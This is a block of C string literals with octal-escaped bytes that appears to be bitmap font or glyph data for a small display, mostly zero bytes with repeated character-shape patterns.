"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\340\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\376\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\17\7\7\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\360\377\377\377\377\200\200\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376~\77\37\17\17\17\7\7\367\377\377\377\177\7\17\17\37\77~\376" "|\20\0\0\0\370\377\377\377\377\37\1\0\0\0\0\0\0\0\360\377\377\377\177\0\0\0\0\0\0\0\0" "\0\0\0\0\0\17\177\377\377\377\374\300\0\0\0\0\0\0\360\377\377\377\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\7\17\37\77\77~|\370\370\360\377\377\377\377\360\360\360\360\360\370\370|~>" "\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\377\377\377\77\1\1\1\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\360\370\374\376\377\77\37\17\7\7\7\7\7\7\7\7\17\37\37\17\6\0" "\0\0\0\0\0\0\200\200\200\277\377\377\377\377\361\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\377\377\377\377\377\347\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\300\300\340\360\370\376\377\377\377\367\361\360\360\360\360\360\340\340\300\300\200\200\200\200\200\200\300" "\340\340\200\0\0\3\7\3\3\1\1\0\0\0\0\0\0\0\1\1\1\3\3\7\7\7\7\17\7\7\7\7" "\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0@\340\360\340\300\200\0\0\200\200\300\300\300\300\300\300\200\200\0\0\200\300\340\360\340" "@\0\0\0\0\0\0\0\0\301\367\377\377\177\37\17\7\7\7\7\7\7\7\7\17\37\177\377\377\363\301\0" "\0\0\0\0\0\0\0\0\0\37\177\377\377\360\300\200\0\0\0\0\0\0\0\0\200\300\360\377\377\177\37\0" "\0\0\0\0\0\0\0\20\70|\77\37\17\7\7\17\17\37\37\37\37\37\37\17\17\7\7\17\37>|\70" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300" "\300\300\300@\0\0\3\7\37\177\377\376\374\360\300\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77" "\17\3\0\0\0\0\0\0\0\0\1\3\17\77\377\377\374\370\340\200\0\200\340\370\376\377\177\37\7\3\0\0" "\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\203\207\237\377\377\376\377\377\237\207\201\200\200\200\200\200\200" "\200\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\377\377\377\377\377\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370|||||||x\370\370\360\340\340\300\0\0" "\0\0\0\0\0\0\0\0\376\377\377\377\377\347\201\0\0\0\0\0\0\0\0\0\0\1\7\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\203\307\357\377\377\177\77~||\370\370\370\360\360\340\340\300\300\200\0\0\0" "\0\0\0\0\0\0\0|\377\377\377\377\363\300\200\0\0\0\0\0\0\0\1\3\7\17\377\377\377\377\374\0" "\0\0\0\0\0\0\0\0\1\3\7\7\17\17\37\37\37>>>||\374\370\374\377\377\347\307\203\0\0" "\0\0\0\0\0\0\0\200\300\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\307\377\377\377\377|\0" "\0\0\0\0\0\0\3\7\17\17\37\37\77>||||x||||>\77\37\37\17\7\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\340\340\340\340\340\340\300\300\200\200\0\0\0" "\0\0\0\0\0\300\360\370|\36\17\7\7\203\301\341\341\340\360\360\360\360\360\360\341\341\301\203\7\7\17\36" "|\370\360\300\377\377\7\1\0\0\360\376\377\377\17\3\1\1\0\0\0\0\0\1\1\3\17\17\17\4\0\0" "\0\1\17\377\177\377\360\200\0\0\7\37\177\377\374\360\340\300\300\300\300\300\300\300\340\340\370\360` \0\0" "\0\300\370\377\0\1\7\17\37\37\17\7\7\7\7\3\3\7\7\17\37\377\376\374\360\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\370\370|<<\34\34\34\34\34\34\34\34\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\17\77\177\377\370\360\340\340\300\300\340\340\340\360x|\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\340\340\340\340\340\340\340\341\341\341\341\341\341\341\340\340\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\374~\77\37\17\6\0\0\200\300\340\360\370\374~\77\37\17\6" "\0\0\0\0\0\0\16\37\77\177\377\373\361\340\300\200\0\0\0\16\37\77\177\377\373\361\340\300\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\77~|\70\20\0\0\0\0\1\3\7\17\77~|\70" "\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0<<<<<<<<<<<<<<<<<<<\374\374\374\374\374" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\177\177" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0xxxxxxxxxxxxxxxxxxxxxxxxx" "x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\340\340\340\340\340\300\300\300\200\200\0\0\0" "\0\0\0\0\0\300\360\370|\36\17\7\7\343\341\341\341\340\340\340\340\340\340\340\301\301\201\3\7\7\17\36" "|\370\360\300\377\377\7\1\0\0\0\0\0\377\377\377\300\300\300\300\300\300\300\341\343\377\177\36\0\0\0\0" "\0\1\17\377\177\377\360\300\0\0\0\0\0\377\377\377\1\1\1\1\1\3\17\77\376\370\340\200\0\0\0\0" "\0\300\370\377\0\1\7\17\37~\374\374\370\360" "\340\200\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\377\377" "\377\377\374\0\0\0\377\377\377\377\377\0\0\0\0\0\200\340\300\200\200\200\200\200\300\300\340\360\370\377\377\177" "\77\17\3\0\0\0\7\7\7\7\7\0\0\0\0\2\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<\374\376\374\370\340\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\37\37\17\14\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\374\376\376|\70\10\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\16\37\37\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\374~~\376\370\360\300\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\14\36\77\37\7\3\1\0\0\1\3\7\37\77\77\34\10\0\0\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\370\370|<<<||\370\360\340\300\300\200\200\200\300\340\370\360" "`\0\0\0\0\0\0\0\0\1\1\3\1\0\0\0\0\0\0\0\0\1\3\7\7\7\7\7\7\3\1\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\340\360\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0`\360\360\370\370||<<<<<<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\376\376\17\7\7\7\17\37\376\374\374\360\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\17\37\34\34\34\36\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20x\374|>\36\36\36\36\36>~\374\370\360\340\360\370|>>\36\36\36\36>~\374" "\370\360\300\0\0\0\0\200\200\300\300\300\300\300\300\300\300\377\377\377\377\341\340\340\340\340\340\340\340\340\340\340" "\377\377\377\377\374\376\377\77\17\7\7\3\3\3\3\3\3\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\177\377\377\370\360\340\300\300\300\300\340\340\370\377\177\77\177\376\370\360\340\340\300\300\300\300\300\340" "\340\360\360`\0\0\1\3\3\3\3\7\3\3\3\1\1\0\0\0\0\0\1\1\3\3\3\3\7\3\3\3" "\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370\370||<<<><<<||\374\370\370\360" "\340\300\200\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17" "\7\3\0\0\0\0\177\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\17\37\77\177\377\374\370\360\340\300\300\200\200\200\200\200\200\200\300\300\300\340\360\370" "\360\340@\0\0\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\207\377\377\377\307\307\307\307\203\3\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\20\30<<\70xpqqqqqy\77\77\37\17\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<\374\376\376\370\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\37\37\14\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\370\370||<<<<<<||\370\370\360\360\340\300\0" "\0\0\0\0\0\300\374\377\377\377\277\207\201\200\200\200\200\200\200\200\200\200\200\200\200\200\201\203\377\377\377\377" "\374\0\0\0\0\377\377\377\377\377\307\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\1\0\0\0\0\7\37\77\177\377\376\370\360\340\300\300\300\200\200\200\200\200\200\200\300\300\340\340\360\360`" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\376|\70\30\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\16\37\37\37\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\370\370||<<<<<<||\370\370\360\360\340\300\0" "\0\0\0\0\0\300\374\377\377\377\277\207\201\200\200\200\200\200\200\200\200\200\200\200\200\200\201\203\377\377\377\377" "\374\0\0\0\0\377\377\377\377\377\307\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\1\0\0\0\0\7\37\77\177\377\376\370\360\340\300\300\300\200\200\200\200\200\200\200\300\300\340\340\360\360`" "\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374~\376\374\370\340\300\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\10\34>\77\17\7\3\0\0\0\1\3\17\37\77>\34\10\0\0\0" 